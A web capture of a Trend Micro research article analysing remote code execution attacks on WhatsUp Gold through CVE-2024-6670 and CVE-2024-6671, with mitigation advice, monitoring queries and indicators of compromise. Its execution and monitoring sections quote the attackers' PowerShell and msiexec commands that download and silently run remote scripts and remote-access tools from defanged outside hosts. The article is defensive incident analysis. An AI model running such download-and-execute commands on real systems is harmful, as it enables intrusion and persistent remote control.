www.trendmicro.com
Open in
urlscan Pro
23.39.185.172
Public Scan
Submitted URL: https://t.co/WL2kXGPXzS
Effective URL: https://www.trendmicro.com/en_us/research/24/i/whatsup-gold-rce.html?utm_source=trendmicroresearch&utm_medium=smk&utm_campa...
Submission: On November 08 via api from IN — Scanned from US
Effective URL: https://www.trendmicro.com/en_us/research/24/i/whatsup-gold-rce.html?utm_source=trendmicroresearch&utm_medium=smk&utm_campa...
Submission: On November 08 via api from IN — Scanned from US
Form analysis 1 forms found in the DOM
<form class="main-menu-search" aria-label="Search Trend Micro">
<div class="main-menu-search__field-wrapper" id="cludo-search-form">
<table class="gsc-search-box">
<tbody>
<tr>
<td class="gsc-input">
<input type="text" class="gsc-input-field" name="search" title="search" placeholder="Search" autocomplete="off" aria-label="search">
</td>
</tr>
</tbody>
</table>
</div>
</form>Text Content
Business
search close
* Solutions
* By Challenge
* By Challenge
* By Challenge
Learn more
* Understand, Prioritize & Mitigate Risks
* Understand, Prioritize & Mitigate Risks
Improve your risk posture with attack surface management
Learn more
* Protect Cloud-Native Apps
* Protect Cloud-Native Apps
Security that enables business outcomes
Learn more
* Protect Your Hybrid World
* Protect Your Hybrid, Multi-Cloud World
Gain visibility and meet business needs with security
Learn more
* Securing Your Borderless Workforce
* Securing Your Borderless Workforce
Connect with confidence from anywhere, on any device
Learn more
* Eliminate Network Blind Spots
* Eliminate Network Blind Spots
Secure users and key operations throughout your environment
Learn more
* See More. Respond Faster.
* See More. Respond Faster.
Move faster than your adversaries with powerful purpose-built XDR,
attack surface risk management, and zero trust capabilities
Learn more
* Extend Your Team
* Extend Your Team. Respond to Threats Agilely
Maximize effectiveness with proactive risk reduction and managed
services
Learn more
* Operationalizing Zero Trust
* Operationalizing Zero Trust
Understand your attack surface, assess your risk in real time, and
adjust policies across network, workloads, and devices from a single
console
Learn more
* By Role
* By Role
* By Role
Learn more
* CISO
* CISO
Drive business value with measurable cybersecurity outcomes
Learn more
* SOC Manager
* SOC Manager
See more, act faster
Learn more
* Infrastructure Manager
* Infrastructure Manager
Evolve your security to mitigate threats quickly and effectively
Learn more
* Cloud Builder and Developer
* Cloud Builder and Developer
Ensure code runs only as intended
Learn more
* Cloud Security Ops
* Cloud Security Ops
Gain visibility and control with security designed for cloud
environments
Learn more
* By Industry
* By Industry
* By Industry
Learn more
* Healthcare
* Healthcare
Protect patient data, devices, and networks while meeting regulations
Learn more
* Manufacturing
* Manufacturing
Protecting your factory environments – from traditional devices to
state-of-the-art infrastructures
Learn more
* Oil & Gas
* Oil & Gas
ICS/OT Security for the oil and gas utility industry
Learn more
* Electric Utility
* Electric Utility
ICS/OT Security for the electric utility
Learn more
* Federal
* Federal
Learn more
* Automotive
* Automotive
Learn more
* 5G Networks
* 5G Networks
Learn more
* Small & Midsized Business Security
* Small & Midsized Business Security
Stop threats with easy-to-use solutions designed for your growing
business
Learn more
* Platform
* Vision One Platform
* Vision One Platform
* Trend Vision One
Our Unified Platform
Bridge threat protection and cyber risk management
Learn more
* AI Companion
* Trend Vision One Companion
Your generative AI cybersecurity assistant
Learn more
* Attack Surface Management
* Attack Surface Management
Stop breaches before they happen
Learn more
* XDR (Extended Detection & Response)
* XDR (Extended Detection & Response)
Stop adversaries faster with a broader perspective and better context to
hunt, detect, investigate, and respond to threats from a single platform
Learn more
* Cloud Security
* Cloud Security
* Trend Vision One™
Cloud Security Overview
The most trusted cloud security platform for developers, security
teams, and businesses
Learn more
* Attack Surface Risk Management for Cloud
* Attack Surface Risk Management for Cloud
Cloud asset discovery, vulnerability prioritization, Cloud Security
Posture Management, and Attack Surface Management all in one
Learn more
* XDR for Cloud
* XDR for Cloud
Extend visibility to the cloud and streamline SOC investigations
Learn more
* Workload Security
* Workload Security
Secure your data center, cloud, and containers without compromising
performance by leveraging a cloud security platform with CNAPP
capabilities
Learn more
* Container Security
* Container Security
Simplify security for your cloud-native applications with advanced
container image scanning, policy-based admission control, and container
runtime protection
Learn more
* File Security
* File Security
Protect application workflow and cloud storage against advanced threats
Learn more
* Endpoint Security
* Endpoint Security
* Endpoint Security Overview
Defend the endpoint through every stage of an attack
Learn more
* XDR for Endpoint
* XDR for Endpoint
Stop adversaries faster with a broader perspective and better context
to hunt, detect, investigate, and respond to threats from a single
platform
Learn more
* Workload Security
* Workload Security
Optimized prevention, detection, and response for endpoints, servers,
and cloud workloads
Learn more
* Industrial Endpoint Security
* Industrial Endpoint Security
Learn more
* Mobile Security
* Mobile Security
On-premises and cloud protection against malware, malicious
applications, and other mobile threats
Learn more
* Network Security
* Network Security
* Network Security Overview
Expand the power of XDR with network detection and response
Learn more
* XDR for Network
* XDR for Network
Stop adversaries faster with a broader perspective and better context
to hunt, detect, investigate, and respond to threats from a single
platform
Learn more
* Network Intrusion Prevention (IPS)
* Network Intrusion Prevention (IPS)
Protect against known, unknown, and undisclosed vulnerabilities in your
network
Learn more
* Breach Detection System (BDS)
* Breach Detection System (BDS)
Detect and respond to targeted attacks moving inbound, outbound, and
laterally
Learn more
* Secure Service Edge (SSE)
* Secure Service Edge (SSE)
Redefine trust and secure digital transformation with continuous risk
assessments
Learn more
* Industrial Network Security
* Industrial Network Security
Learn more
* 5G Network Security
* 5G Network Security
Learn more
* Email Security
* Email Security
* Email Security
Stop phishing, malware, ransomware, fraud, and targeted attacks from
infiltrating your enterprise
Learn more
* Email and Collaboration Security
* Trend Vision One™
Email and Collaboration Security
Stop phishing, ransomware, and targeted attacks on any email service
including Microsoft 365 and Google Workspace
Learn more
* OT Security
* OT Security
* OT Security
Learn about solutions for ICS / OT security.
Learn more
* XDR for OT
* XDR for OT
Stop adversaries faster with a broader perspective and better context
to hunt, detect, investigate, and respond to threats from a single
platform
Learn more
* Industrial Network Security
* Industrial Network Security
Industrial Network Security
* Industrial Endpoint Security
* Industrial Endpoint Security
Learn more
* Threat Insights
* Threat Insights
See threats coming from miles away
Learn more
* Identity Security
* Identity Security
End-to-end identity security from identity posture management to
detection and response
Learn more
* On-Premises Data Sovereignty
* On-Premises Data Sovereignty
Prevent, detect, respond and protect without compromising data
sovereignty
Learn more
* All Products, Services, and Trials
* All Products, Services, and Trials
Learn more
* Research
* Research
* Research
* Research
Learn more
* Research, News, and Perspectives
* Research, News, and Perspectives
Learn more
* Research and Analysis
* Research and Analysis
Learn more
* Security News
* Security News
Learn more
* Zero Day Initiatives (ZDI)
* Zero Day Initiatives (ZDI)
Learn more
* Services
* Our Services
* Our Services
* Our Services
Learn more
* Service Packages
* Service Packages
Augment security teams with 24/7/365 managed detection, response, and
support
Learn more
* Managed XDR
* Managed XDR
Augment threat detection with expertly managed detection and response
(MDR) for email, endpoints, servers, cloud workloads, and networks
Learn more
* Incident Response
* Incident Response
* Incident Response
Our trusted experts are on call whether you're experiencing a breach
or looking to proactively improve your IR plans
Learn more
* Insurance Carriers and Law Firms
* Insurance Carriers and Law Firms
Stop breaches with the best response and detection technology on the
market and reduce clients’ downtime and claim costs
Learn more
* Support Services
* Support Services
Learn more
* Partners
* Partner Program
* Partner Program
* Partner Program Overview
Grow your business and protect your customers with the best-in-class
complete, multilayered security
Learn more
* Partner Competencies
* Partner Competencies
Stand out to customers with competency endorsements that showcase your
expertise
Learn more
* Partner Successes
* Partner Successes
Learn more
* Managed Security Service Provider
* Managed Security Service Provider
Deliver modern security operations services with our industry-leading
XDR
Learn more
* Managed Service Provider
* Managed Service Provider
Partner with a leading expert in cybersecurity, leverage proven
solutions designed for MSPs
Learn more
* Alliance Partners
* Alliance Partners
* Alliance Partners
We work with the best to help you optimize performance and value
Learn more
* Technology Alliance Partners
* Technology Alliance Partners
Learn more
* Find Alliance Partners
* Find Alliance Partners
Learn more
* Partner Resources
* Partner Resources
* Partner Resources
Discover resources designed to accelerate your business’s growth and
enhance your capabilities as a Trend Micro partner
Learn more
* Partner Portal Login
* Partner Portal Login
Login
* Trend Campus
* Trend Campus
Accelerate your learning with Trend Campus, an easy-to-use education
platform that offers personalized technical guidance
Learn more
* Co-Selling
* Co-Selling
Access collaborative services designed to help you showcase the value
of Trend Vision One™ and grow your business
Learn more
* Become a Partner
* Become a Partner
Learn more
* Distributors
* Distributors
Learn more
* Find Partners
* Find Partners
Locate a partner from whom you can purchase Trend Micro solutions
Learn more
* Company
* Why Trend Micro
* Why Trend Micro
* Why Trend Micro
Learn more
* Customer Success Stories
* Customer Success Stories
Learn more
* The Human Connection
* The Human Connection
Learn more
* Industry Accolades
* Industry Accolades
Learn more
* Strategic Alliances
* Strategic Alliances
Learn more
* Compare Trend Micro
* Compare Trend Micro
* Compare Trend Micro
See how Trend outperforms the competition
Let's go
* vs. Crowdstrike
* Trend Micro vs. Crowdstrike
Crowdstrike provides effective cybersecurity through its cloud-native
platform, but its pricing may stretch budgets, especially for
organizations seeking cost-effective scalability through a true single
platform
Let's go
* vs. Microsoft
* Trend Micro vs. Microsoft
Microsoft offers a foundational layer of protection, yet it often
requires supplemental solutions to fully address customers' security
problems
Let's go
* vs. Palo Alto Networks
* Trend Micro vs. Palo Alto Networks
Palo Alto Networks delivers advanced cybersecurity solutions, but
navigating its comprehensive suite can be complex and unlocking all
capabilities requires significant investment
Let's go
* About Us
* About Us
* About Us
Learn more
* Trust Center
* Trust Center
Learn more
* History
* History
Learn more
* Diversity, Equity and Inclusion
* Diversity, Equity and Inclusion
Learn more
* Corporate Social Responsibility
* Corporate Social Responsibility
Learn more
* Leadership
* Leadership
Learn more
* Security Experts
* Security Experts
Learn more
* Internet Safety and Cybersecurity Education
* Internet Safety and Cybersecurity Education
Learn more
* Legal
* Legal
Learn more
* Investors
* Investors
Learn more
* Formula E Racing
* Formula E Racing
Learn more
* Connect With Us
* Connect With Us
* Connect With Us
Learn more
* Newsroom
* Newsroom
Learn more
* Events
* Events
Learn more
* Careers
* Careers
Learn more
* Webinars
* Webinars
Learn more
Back
Back
Back
Back
* Free Trials
* Contact Us
Looking for home solutions?
Under Attack?
3 Alerts
Back
Unread
All
* Silent Threat: Red Team Tool EDRSilencer Disrupting Endpoint Security
Solutions
close
Learn more
* Gartner 2024 CNAPP Market Guide Insights for Leaders
close
Get insights
* 5 AI Security Takeaways featuring Forrester
close
Learn key strategies
Folio (0)
Support
* Business Support Portal
* Education and Certification
* Contact Support
* Find a Support Partner
Resources
* AI Security
* Trend Micro vs. Competition
* Cyber Risk Assessments
* What Is?
* Threat Encyclopedia
* Cyber Insurance
* Glossary of Terms
* Webinars
Log In
* Vision One
* Support
* Partner Portal
* Cloud One
* Product Activation and Management
* Referral Affiliate
Back
arrow_back
search
close
Content has been added to your Folio
Go to Folio (0) close
Exploits & Vulnerabilities
PROTECTING AGAINST RCE ATTACKS ABUSING WHATSUP GOLD VULNERABILITIES
In this blog entry, we provide an analysis of the recent remote code execution
attacks related to Progress Software’s WhatsUp Gold that possibly abused the
vulnerabilities CVE-2024-6670 and CVE-2024-6671.
By: Hitomi Kimura, Maria Emreen Viray September 12, 2024 Read time: 7 min (1799
words)
Save to Folio
Subscribe
--------------------------------------------------------------------------------
SUMMARY
* Trend Micro researchers identified remote code execution attacks on WhatsUp
Gold exploiting the Active Monitor PowerShell Script since August 30.
* These attacks possibly leveraged vulnerabilities CVE-2024-6670 and
CVE-2024-6671, which were patched on August 16, though active exploitation
may have began on the same day just after a PoC was published on August 30.
* The timeline of events suggests that despite the availability of patches,
some organizations were unable to apply them quickly, leading to incidents
almost immediately following the PoC's publication.
* The abuse of NmPoller.exe to execute PowerShell scripts to download various
remote access tools and attempt to gain persistence was key parts of the
observed attacks.
* Mitigation steps include keeping services for corporate use under access
control, immediate patch application, and close monitoring of suspicious
process creation events in WhatsUp Gold environments to prevent similar
incidents.
The Trend Micro Managed Extended Detection and Response (MXDR) team observed
remote code execution (RCE) attacks on WhatsUp Gold, an application for network
and IT infrastructure monitoring currently provided by Progress Software
Corporation and its components run on Windows (Figure 1). The attacks have
abused Active Monitor PowerShell Script, one of the legitimate functions of the
product, since August 30.
The RCE vulnerabilities CVE-2024-6670 and CVE-2024-6671 were disclosed by the
vendor on August 16; patches were made available at the same time. According to
the disclosure, “if the application is configured with only a single user; a SQL
Injection vulnerability allows an unauthenticated attacker to retrieve the
user’s encrypted password.” However, the CVSS scores of both vulnerabilities are
marked as 9.8, suggesting that RCE is possible.
In August, the vulnerability’s discoverer, Sina Kheirkhah (@SinSinology) of
Summoning Team (@SummoningTeam) has published a blog entry and provided a PoC on
the subject. The PoC showed how to overwrite an arbitrary string as the new
password, and that explanation matches our observations.
Figure 1. Timeline how the WhatsUp Gold Active Monitor PowerShell Script was
abused
HOW ATTACKS WERE OBSERVED IN TREND VISION ONE
INITIAL ACCESS
Activity monitoring on Trend Vision One showed that a suspicious script
retrieved from a suspicious URL was suddenly executed on the computer hosting
WhatsUp Gold. The timeline prior to the incident showed no suspicious logon
events, suspicious URLs accessed by users, or malware execution. These are
typical events in the early stages of incidents, but if these have not appeared,
it's more likely that a vulnerability has been involved.
Figure 2. Execution profile for the abuse of NmPoller.exe
The polling process NmPoller.exe, the WhatsUp Gold executable, seems to be able
to host a script called Active Monitor PowerShell Script as a legitimate
function (Figure 2). The threat actors in this case chose it to perform for
remote arbitrary code execution.
The malicious code that was executed by NmPoller.exe looks like this: The first
part of the square is the prefix, and the last two lines are the malicious code
submitted by the threat actor. Several variations of this part have been
observed, as shown in Figure 3.
Figure 3. The PowerShell script executed as Active Monitor PowerShell Script by
NmPoller.exe
EXECUTION
Multiple PowerShell scripts were executed via NmPoller.exe. The following
scripts were executed as the malicious part multiple times combined with the
prefix part described in the previous section:
> (New-Object
> System.Net.WebClient).DownloadFile('hxxps://webhook[.]site/b6ef7410-9ec8-44f7-8cdf-7890c1cf5837','c:\\programdata\\a.ps1');
> powershell -exec bypass -file c:\\programdata\\a.ps1
> msiexec /i hxxp://45.227.255[.]216:29742/ddQCz2CkW8/setup.msi /Qn
> msiexec /i hxxps://fedko[.]org/wp-includes/ID3/setup.msi /Qn
> iwr -uri hxxps://fedko[.]org/wp-includes/ID3/setup.msi -outfile
> c:\\windows\\temp\\MSsetup.msi ; msiexec /i c:\\windows\\temp\\MSsetup.msi /Qn
The file a.ps1 contained only one line:
> ["(New-Object
> System.Net.WebClient).DownloadFile('hxxp://185.123.100[.]160/access/Remote
> Access-windows64-offline.exe?language=en&app=61021689825303726412222891579678345108&hostname=hxxp://185.123.100[.]160','C:\\programdata\\ftpd32.exe');start-process
> C:\\programdata\\ftpd32.exe;"]
PERSISTENCE
In this case, the threat actor aimed to install remote administration tools
through PowerShell. They attempted to install these four remote access tools
(RATs) via msiexec.exe (Figure 4):
* Atera Agent
* Radmin
* SimpleHelp Remote Access
* Splashtop Remote
Atera Agent and Splashtop Remote were installed by a single msi installer
retrieved from the URL, hxxps://fedko[.]org/wp-includes/ID3/setup.msi.
Figure 4. Execution profile for msiexec.exe installing Atera Agent and Splashtop
Remote
The incident was contained by MXDR team and no further impacts were observed.
The threat actor has not yet been identified; however, the usage of multiple
RATs suggests that it may be a ransomware actor.
VULNERABILITY DISCOVERY AND EXPLOIT ATTEMPTS
EVENT TIMELINE
* August 16, 2024 - The product vendor released the latest patch and the CVE
numbers
* August 30, 2024 5pm (UTC) - The discoverer of the vulnerability published the
PoC on GitHub
* August 30, 2024 10pm (UTC) - Trend Micro MXDR team observed the first
incident that abused the legitimate process of WhatsUp Gold
This timeline suggests that the exploit attempts may have been performed on the
same day, just a few hours after the PoC was published. The PoC was released on
the Friday before the long weekend in the US, which included a holiday, so it
may have been difficult for many organizations to apply the patch immediately.
However, the latest patch was provided before the PoC was released, so if there
is information such as a fix high-severity vulnerability in the patch, planning
to apply the patch early should help prevent damage even if no PoC is available.
Censys has issued an advisory that they observed 1,207 exposed devices online
for CVE-2024-4885, another WhatsUp Gold vulnerability that has a CVSS score of
9.8 and was fixed in June. This may have attracted the attention of threat
actors as an attack surface following the disclosure of serious vulnerabilities
in June.
MITIGATION
The affected host was affected due to the compromise of user authentication for
WhatsUp Gold. Users of the product should take the following steps to avoid a
similar impact:
* Apply the latest patch as soon as possible. Official documentation on the
product, such as release notes and security bulletins, can be found on the
vendor website.
* Keep the management console or API endpoints under access control. Avoid
exposing corporate use products to the public internet to prevent to be found
and scanned by threat actors.
* Use a strong password. Please note that even if you have already applied all
patches and are not affected by the vulnerability, you could still be
affected if you use a weak password (such as admin:admin) without access
control.
MONITORING
To detect the attacks that we observed, we monitored process creation events
from the following processes:
* {Install path for WhatsUp Gold}\nmpoller.exe
For example, if C:\Program Files (x86)\Ipswitch\WhatsUp\nmpoller.exe creates
processes like the following, it is highly suspicious:
* "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass
-file c:\programdata\a.ps1
* "C:\Windows\system32\msiexec.exe" /i
hxxps://fedko[.]org/wp-includes/ID3/setup.msi /Qn
* "C:\Windows\system32\msiexec.exe" /i
hxxp://45.227.255[.]216:29742/ddQCz2CkW8/setup.msi /Qn
* "C:\Windows\system32\msiexec.exe" /i c:\windows\temp\MSsetup.msi /Qn
QUERY SAMPLE FOR VISION ONE SEARCH APP
* Search method: Endpoint Activity Data
* Query: "nmpoller.exe" AND eventSubId:(2 OR 101 OR 109 OR 901)
* Monitoring tips:
* Product restarting or daily logfile creation events will also appear in the
results. Please monitor the events excluding regular events in your
environment.
* You can also monitor for spikes in the number of events in the search result
(Figure 5).
Figure 5. The spike of the number of events in the search results in the
incident
Observed attack techniques (OAT) detected using Vision One:
* External MSI Package Installation via Msiexec (High)
* Suspicious RAT (SimpleHelp) Installation (Medium)
* Suspicious RAT (AteraAgent) Installation (Medium)
* Suspicious RAT (Splashtop) File Creation (Medium)
* Malicious Software - PUA.Win32.RAdmin.E (Medium)
Please note that in the implementation, NmPoller.exe can execute PowerShell
scripts without launching another powershell.exe process. If you can monitor
PowerShell scripts with Antimalware Scan Interface (AMSI), verify that all
scripts executed by WhatsUp Gold’s Active Monitor PowerShell Script function are
the ones you expect. To reduce the monitoring effort, it is also a good idea to
suspend the use of Active Monitor PowerShell Script function until the latest
patch is applied.
Also, because the vulnerability CVE-2024-6670 is described as allowing the
compromise of the user account, it is quite possible that attacks would be
observed as other events. Considering this, until the latest patch is applied,
it is worth tightening access controls to WhatsUp Gold as much as possible and
closely monitoring the events of all related processes.
CONCLUSION
Patch management is still important but always difficult. In this case, the PoC
was published several days after the patch was released, and an incident that
appeared to be affected by the vulnerability was observed on the same day, just
a few hours after published. This observed fact shows that if the vulnerability
being fixed is marked as severe, it is strongly encouraged to apply the patch as
soon as it is released, even if no PoC is available.
The key to preventing incidents like this are not limited to patch management.
There should be several defenses in place in addition patch management. The most
common defenses to mitigate risks are access control and multi-factor
authentication (MFA), which security teams can apply through best practices
like:
* Keeping hosts/services for corporate use under access control instead of
public access
* Do not expose to the public internet the management consoles or API
endpoints of products for corporate use to avoid being on threat actors
scan lists.
* Enabling MFA for all network logins
* To prevent account compromise, all user accounts (whether for enterprise or
personal use) logging on over the network, or logging into Windows, Linux,
or web applications, are encouraged to always have MFA enabled.
* Of course, do not forget to use a strong password that has never been used
in other places.
* Using passkeys
* If you have the option to use a passkey instead of a password, it would be
a good idea to do so.
* Passkeys use a cryptographic key stored on the device for logins and the
key is activated by local authentication such as users’ biometric just like
unlocking the device. Since no need for any passwords or any typing, it
means no strings of characters are involved, it is resistant to phishing.
Maintaining a daily readiness and vigilance against cyberattacks is essential to
ensuring that emergency response is targeted only at things that truly require
it. We hope that after reading this article, security teams will once again
check that no unintended hosts or services are exposed to the public internet as
part of their peacetime preparations. This approach is now known as part of
attack surface management.
Organizations can also consider powerful security technologies such as Trend
Vision One™, which offers multilayered protection and behavior detection,
helping block malicious tools and services before they can inflict damage on
user machines and systems.
INDICATORS OF COMPROMISE (IOCS)
File path SHA256 Detection name Description C:\ProgramData\a.ps1
6daa94a36c8ccb9442f40c81a18b8501aa360559865f211d72a74788a1bbf3ce
PUA.PS1.RemoteAdmin.A Suspicious script executed via NmPoller.exe - the
legitimate process of WhatsUp Gold c:\windows\temp\MSsetup.msi
f1c68574167eaea826a90595710e7ee1a1e75c95433883ce569a144f116e2bf4
PUA.Win32.RAdmin.E Suspicious installer executed via NmPoller.exe - the
legitimate process of WhatsUp Gold C:\ProgramData\ftpd32.exe
992974377793c2479065358b358bb3788078970dacc7c50b495061ccc4507b90 - SimpleHelp
Remote Access
URL Description hxxps://webhook[.]site/b6ef7410-9ec8-44f7-8cdf-7890c1cf5837
Hosted the contents of the suspicous script: a.ps1
hxxps://fedko[.]org/wp-includes/ID3/setup.msi Hosted a combined installer for
Atera Agent and Splashtop Remote
hxxp://45.227.255[.]216:29742/ddQCz2CkW8/setup.msi Hosted PUA.Win32.RAdmin.E
hxxp://185.123.100[.]160/access/Remote Access-windows64-offline.exe Hosted
SimpleHelp Remote Access 185.123.100[.]160 Outbound connection for SimpleHelp
Remote Access
Tags
Articles, News, Reports | Research | Exploits & Vulnerabilities
AUTHORS
* Hitomi Kimura
Incident Response Analyst
* Maria Emreen Viray
Threats Analyst
Contact Us
Subscribe
RELATED ARTICLES
* Vulnerabilities in Cellular Packet Cores Part IV Authentication
* Banking Trojans Mekotio Looks to Expand Targets, BBTok Abuses Utility Command
* Threat Actors Target the Middle East Using Fake Palo Alto GlobalProtect Tool
See all articles
Experience our unified platform for free
* Claim your 30-day trial
*
*
*
*
*
RESOURCES
* Blog
* Newsroom
* Threat Reports
* Find a Partner
*
*
SUPPORT
* Business Support Portal
* Contact Us
* Downloads
* Free Trials
*
*
ABOUT TREND
* About Us
* Careers
* Locations
* Upcoming Events
* Trust Center
*
Country Headquarters
Trend Micro - United States (US)
225 East John Carpenter Freeway
Suite 1500
Irving, Texas 75062
Phone: +1 (817) 569-8900
Select a country / region
United States expand_more
close
THE AMERICAS
* United States
* Brasil
* Canada
* México
MIDDLE EAST & AFRICA
* South Africa
* Middle East and North Africa
EUROPE
* België (Belgium)
* Česká Republika
* Danmark
* Deutschland, Österreich Schweiz
* España
* France
* Ireland
* Italia
* Nederland
* Norge (Norway)
* Polska (Poland)
* Suomi (Finland)
* Sverige (Sweden)
* Türkiye (Turkey)
* United Kingdom
ASIA & PACIFIC
* Australia
* Центральная Азия (Central Asia)
* Hong Kong (English)
* 香港 (中文) (Hong Kong)
* भारत गणराज्य (India)
* Indonesia
* 日本 (Japan)
* 대한민국 (South Korea)
* Malaysia
* Монголия (Mongolia) and рузия (Georgia)
* New Zealand
* Philippines
* Singapore
* 台灣 (Taiwan)
* ประเทศไทย (Thailand)
* Việt Nam
Privacy | Legal | Accessibility | Site map
Copyright ©2024 Trend Micro Incorporated. All rights reserved
Copyright ©2024 Trend Micro Incorporated. All rights reserved
sXpIBdPeKzI9PC2p0SWMpUSM2NSxWzPyXTMLlbXmYa0R20xk
This website uses cookies for website functionality, traffic analytics,
personalization, social media functionality and advertising. Our Cookie Notice
provides more information and explains how to amend your cookie settings.Learn
more
Cookies Settings Accept
✓
Thanks for sharing!
AddToAny
More…
BDOW!
word word word word word word word word word word word word word word word word
word word word word word word word word word word word word word word word word
word word word word word word word word word word word word word word word word
word word word word word word word word word word word word word word word word
word word word word word word word word word word word word word word word word
word word word word word word word word word word word word word word word word
word word word word word word word word word word word word word word word word
word word word word word word word word word word word word word word word word
word word word word word word word word word word word word word word word word
word word word word word word word word word word word word word word word word
word word word word word word word word word word word word word word word word
word word word word word word word word word word word word word word word word
word word word word word word word word
mmMwWLliI0fiflO&1
mmMwWLliI0fiflO&1
mmMwWLliI0fiflO&1
mmMwWLliI0fiflO&1
mmMwWLliI0fiflO&1
mmMwWLliI0fiflO&1
mmMwWLliI0fiflO&1